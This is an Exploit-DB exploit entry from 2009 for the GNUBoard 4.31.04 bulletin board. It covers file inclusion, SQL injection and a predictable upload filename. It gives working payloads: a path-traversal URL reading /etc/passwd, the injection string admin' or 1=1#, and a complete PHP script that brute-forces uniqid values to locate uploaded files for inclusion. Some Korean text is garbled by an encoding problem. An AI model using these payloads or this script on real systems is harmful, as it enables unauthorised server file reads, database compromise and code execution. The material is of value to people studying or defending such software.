Exploit-DB #7927
Description: GNUBoard 4.31.04 (09.01.30) - Multiple Local/Remote Vulnerabilities
Type: webapps
Platform: php
Date: 2009-01-30
Author: make0day

Exploit:
GNUBoard V4.31.04 (09.01.30) Multiple Local/Remote Vulnerability
bY make0day@gmail.com

/*************************

SIR GNUBoard (VERSION 4.31.04 (09.01.30))is a widely used bulletin board system of Korea.
It is freely available for all platforms that supports PHP and MySQL.
But we find a file include vulnerability affects SIR GNUBoard.
In special conditions,it may be used as a remote file include vulnerability .
This issue  to  execute arbitrary  PHP code on an affected computer with the privileges of the affected Web server.
Here is the details:

**************************/
TEST ON VERSION 4.31.04 (08.01.30)

/***************************
Local File Inclusion Vulnerability

/poll_result.php

include_once("./_common.php");

$po = sql_fetch(" select * from $g4[poll_table] where po_id = '$po_id' ");
if (!$po[po_id]) 

Â¡Å Â¡Å 

echo "<script language='javascript' src='$g4[path]/js/sideview.js'></script>";

if (!$skin_dir) $skin_dir = "basic";
$poll_skin_path = "$g4[path]/skin/poll/$skin_dir";
include_once ("$poll_skin_path/poll_result.skin.php");	//file include

*************************/

poc:
http://test.com/GnuBoard/bbs/poll_result.php?po_id=177&skin_dir=../../../../../../../../etc/passwd%00

/***************************
SQL Injection Vulnerability

/register_form.skin.php

<?
if (!defined("_GNUBOARD_")) exit;
?>

<style type="text/css">
<!--

Â¡Å Â¡Å 

function fregisterform_submit(f) 
{
    if (f.w.value == "") {

        reg_mb_id_check();

        if ($F('mb_id_enabled')!='000') {	
            alert('ÃˆÅ¾Â¿Ã¸Å¸Ã†Ã€ÃŒÂµÃ°Å¾Å  Ã€Ã”Â·Ã‚Ã‡ÃÃÃ¶ Å¸ÃŠÅ¸Ã’Â°Ã…Â³Âª Ã€Ã”Â·Ã‚Â¿Â¡ Â¿Ã€Â·Ã¹Â°Â¡ Ã€Ã–Å“Ã€Å½ÃÅ½Ã™.');
            $('reg_mb_id').activate();
            return false;
        }
    }
	//WTF javascript~!!, We can inject sql query at mb_id, It wasn`t addslushed

/point.php
<?
include_once("./_common.php");

Â¡Å Â¡Å 

$sql_common = " from $g4[point_table] where mb_id = '$member[mb_id]' "; //mb_id

Â¡Å Â¡Å 

                $sql = " select * 
                          $sql_common
                          $sql_order
                          limit $from_record, $rows ";

*************************/

poc:
mb_id = admin' or 1=1#

/***************************
File name disclosure Vulnerability

/register_form_update.php

<?
$g4[title] = $wr_subject . "Â±Ã›Ã€Ã”Â·Ã‚";
include_once("./_common.php");

@include_once("$board_skin_path/write_update.head.skin.php");

Â¡Å Â¡Å 

$filename = preg_replace("/\.(php|phtm|htm|cgi|pl|exe|jsp|asp|inc)/i", "$0-x", $filename);
$upload[$i][file] = abs(ip2long($_SERVER[REMOTE_ADDR])).'_'.substr(md5(uniqid($g4[server_time])),0,8).'_'.str_replace('%', '', urlencode($filename)); 
//Key point
$dest_file = "$g4[path]/data/file/$bo_table/" . $upload[$i][file];


1) uniqid is just unix time stamp + usec(micro time),
2) yeah, We can brute force usec in 0 ~ 0x100000 range
3) Also, We can upload two files when write a post,
4) By uploading image file, we can get encoded file name ex) http://test.com/GnuBoard/data/file/happy/747682804_462b38f4_1.jpg
5) By uploading txt file, we can get exact time (y/m/d/h/m/s) ex) DATE : 2009-01-30 08:35:49
-> As a result, We can use arbitrary file for Local file inclusion 

*************************/

poc:

/MicrosecBrute.php

<html>
<head>
<title>test</title>
</head>
<body>
<xmp>

<?
////////////////////////////////////////////////////////////////////////////////
//http://test.com/GnuBoard/data/file/happy/747682804_462b38f4_1.jpg

$t_host = "test.com";	//target host
$t_dir = "/GnuBoard/data/file/happy/"; //upload directory
$encodedimgname = "747682804_462b38f4_1.jpg";	//Encoded Image file name
$imgname = "1.jpg";	//Upload img file name
$fname = "test.txt";	//Upload wanted file name
$year = "2009";	//file upload time 2009-01-30 08:35:49
$mon = "01";
$day = "30";
$hour = "08";
$min = "35";
$sec = "49";
$ip = $_SERVER[REMOTE_ADDR];	//Attacker IP
/////////////////////////////////////////////////////////////////////////////////

$longip = abs(ip2long($ip));
$encfname = urlencode($fname);
$encimgname = urlencode($imgname);
$time = mktime ($hour, $min, $sec, $mon, $day, $year); 
$prefix = $time;
$_date = date ("Y m j g i a s", $time);

echo "IP : $ip\n";
echo "Wanted File : $encfname\n";
echo "Img File : $encimgname\n";
echo "time : $_date\n";
echo "dir : ".$t_host.$t_dir."\n";

ob_flush();
flush();
?>

<?
for($i = 0; $i < 0x100000; $i++)	//Find img upload time
{
	$uniq_id = sprintf("%s%08x%05x",$prefix,$time,$i);
	$fullname = $longip.'_'.substr(md5($uniq_id),0,8).'_'.$encimgname;

	if(stristr($fullname,$encodedimgname))
	{
		$img_time = $i;
		break;
	}

}

echo "Image file upload usec : $img_time\n";
ob_flush();
flush();

?>
<?

for($i = $img_time; $i < 0x100000; $i++)	//Find wanted upload time
{
	$uniq_id = sprintf("%s%08x%05x",$prefix,$time,$i);
	$fullname = $longip.'_'.substr(md5($uniq_id),0,8).'_'.$encfname;
	
	$ret = myGet($t_host, $t_dir.$fullname);	

	if(stristr($ret,"200 OK"))
	{
		echo "200 OK :) URL : http://".$t_host.$t_dir.$fullname."\n";
		exit();
	}


}

echo "404 Not Found :(\n";


 function myGet($host, $target, $port = 80)
 {

  $request  = "HEAD $target HTTP/1.1\r\n";
  $request .= "Host: $host\r\n";
  $request .= "User-Agent: Mozilla/4.0\r\n";
  $request .= "Accept: text/html\r\n";
  $request .= "Connection: close\r\n";
  $request .= "\r\n";

  $socket  = fsockopen($host, $port, $errno, $errstr, 100);
  fputs($socket, $request);
  $ret = "";
  while(!feof($socket))
   $ret .= fgets( $socket, 4096 );

  fclose( $socket );

  return $ret;
 }

?>
</xmp>
</body>
</html>

*************************/
Result : http://test.com/GnuBoard/data/file/happy/747682804_d57d84be_test.txt 

# milw0rm.com [2009-01-30]